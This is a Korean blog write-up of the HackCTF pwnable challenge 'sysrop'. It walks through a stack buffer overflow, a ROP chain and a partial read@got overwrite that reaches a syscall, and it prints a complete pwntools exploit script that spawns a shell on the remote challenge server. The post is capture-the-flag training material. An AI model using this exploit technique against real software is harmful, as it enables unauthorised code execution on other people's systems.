tmxklab
[HackCTF/Pwnable] sysrop 본문
1. 문제
nc ctf.j0n9hyun.xyz 3024
1) mitigation 확인
- 이번에는 stripped된 파일임
2) 문제 확인
- 입력을 받고 끝난다.
3) 코드 흐름 확인
3-1) main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
read(0, &buf, 0x78uLL);
return 0LL;
}
- buf변수[rbp-0x10]에 0x78까지 입력받을 수 있음 → bof발생
2. 접근방법
bof를 통해 ret를 조작할 수 있다. system() 및 binsh문자열을 찾기 위해서 leak해야할 것 같지만
해당 elf파일에 printf()나 puts()와 같이 출력해주는 함수들도 없고 주어진 함수라고는 read()와 setvbuf뿐이다.
하지만, 잘 생각해보면 예전에 syscall table을 봤듯이 system함수에 "/bin/sh"문자열을 넘겨줘서 쉘을 따는 것은 rdi에 "/bin/sh"문자열을 저장한 주소 값을 저장하고 rax에 59를 저장한 다음 syscall을 하는 것과 동일하다.
참고 :
따라서, gadget을 이용하여 다음과 같이 ROP를 진행해야 한다.
- rsi = "/bin/sh"문자열이 저장된 주소
- rax = 59
- syscall
3. 풀이
1) "/bin/sh"문자열 저장하기
read함수는 주어져 있으므로 read함수를 이용하여 bss영역 아무 곳에나 /bin/sh문자열을 저장하기로 한다.
- 0x601040 : "/bin/sh"문자열을 저장하는 곳
그리고 read함수의 인자로 들어가기 위해 다음 syscall table을 참조하자
출처 : https://cccding.tistory.com/7
위 table을 참조하면
rdi = 0, rsi = 0x601040, rdx = "/bin/sh"길이
이런식으로 값이 들어가야 하며 우리에게 필요한 gadget은
pop rdi ; pop rsi ; pop rdx ; ret
이다.
- 0x4005e8에 pop rdx ; pop rdi ; pop rsi ; ret가 포함된 것을 알 수 있다.
- pop rdx위에 불필요한 것은 빼자
- pppr address : 0x4005eb
2) rax = 59
이건 걍, pop rax만 찾으면 될 듯하다.
3) syscall instruction 찾기
elf파일에서 syscall gadget이 있는지 확인
- gadget에 syscall은 존재하지 않는다.
하지만, 벗, B.U.T 위에서 syscall table을 기억하는가?
system함수나 read함수(뭐, write, open 등등)와 같은 함수들은 내부적으로 syscall을 하게 된다.(각각 rax값에 따라 다름)
따라서, read함수에서 syscall하는 부분을 찾아 사용하면 될 듯하다.
- 0x7ffff7b0425e : syscall
- read@got의 값은 0x7ffff7b04250이며 마지막 하위 1byte를 0x5e로 변경하면 read함수가 실행될 때 바로 syscall을 할 것이다.
위에 rax값을 pop하고(pop rax) execve를 실행하기 위해 rsi값에 다시 binsh문자열이 저장된 주소 값을 넣어야 한다.
필요한 가젯 : pop rax ; pop rsi ; ret
- 0x4005ea를 사용하면 될 듯하다. (저기서 pop rdx ; pop rdi는 syscall할 때 필요없으니깐 아무 값이나 넣어주면 된다.)
4) 익스코드
from pwn import *
#context.log_level="debug"
#p = process("./sysrop")
p = remote("ctf.j0n9hyun.xyz", 3024)
e = ELF("./sysrop")
#gdb.attach(p)
read_plt = e.plt['read']
read_got = e.got['read']
bss_addr = 0x601060
pppr_addr = 0x4005eb
ppppr_addr = 0x4005ea
binsh = "/bin/sh\x00"
main_addr = 0x4005f2
log.info("read@plt : "+hex(read_plt))
log.info("read@got : "+hex(read_got))
#1. Input "/bin/sh"
payload = "A"*0x18
payload += p64(pppr_addr)
payload += p64(len(binsh))
payload += p64(0)
payload += p64(bss_addr)
payload += p64(read_plt)
payload += p64(main_addr)
p.send(payload)
sleep(1)
p.send(binsh)
#2. read@got overwrite -> (0x??...5e) - syscall
payload = "A"*0x18
payload += p64(pppr_addr)
payload += p64(1)
payload += p64(0)
payload += p64(read_got)
payload += p64(read_plt)
#3. syscall execve(rax=59, rsi=bss_addr)
payload += p64(ppppr_addr)
payload += p64(59)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(0)
payload += p64(read_plt)
p.send(payload)
sleep(1)
p.send(p64(0x5e))
p.interactive()
참고로 위에서 bss영역 0x601040을 쓰려고 했는데 stdout이 존재해서 빈 공간인 0x601060을 선택하였다.(0x601040으로 하면 SIGSEGV 발생)
5) 실행결과
4. 몰랐던 개념
1) 실수했던 점(주어진 libc를 사용안하고 로컬 libc로 익스)
왜 자꾸 remote에서 안되는지 삽질 2시간하다가 깨달았다. 첨에 $ldd로 의존성 확인했을 때 libc.so.6보여서 그냥 무시하고 지나갔는데 알고 보니 로컬 환경에 있는 /lib/x86_64-linux-gnu/libc.so.6을 사용하는 것이었다.
따라서, 문제에 libc가 주어졌으므로 libc.so.6으로 바이너리를 실행해야 한다.
2) 특정 버젼의 libc로 바이너리 실행하는 방법
- 참고 :
ex)
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] register (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] rtc (0) | 2020.08.06 |
[HackCTF/Pwnable] Unexploitable #1 (0) | 2020.08.06 |
[HackCTF/Pwnable] ROP (0) | 2020.07.20 |
[HackCTF/Pwnable] UAF (0) | 2020.07.20 |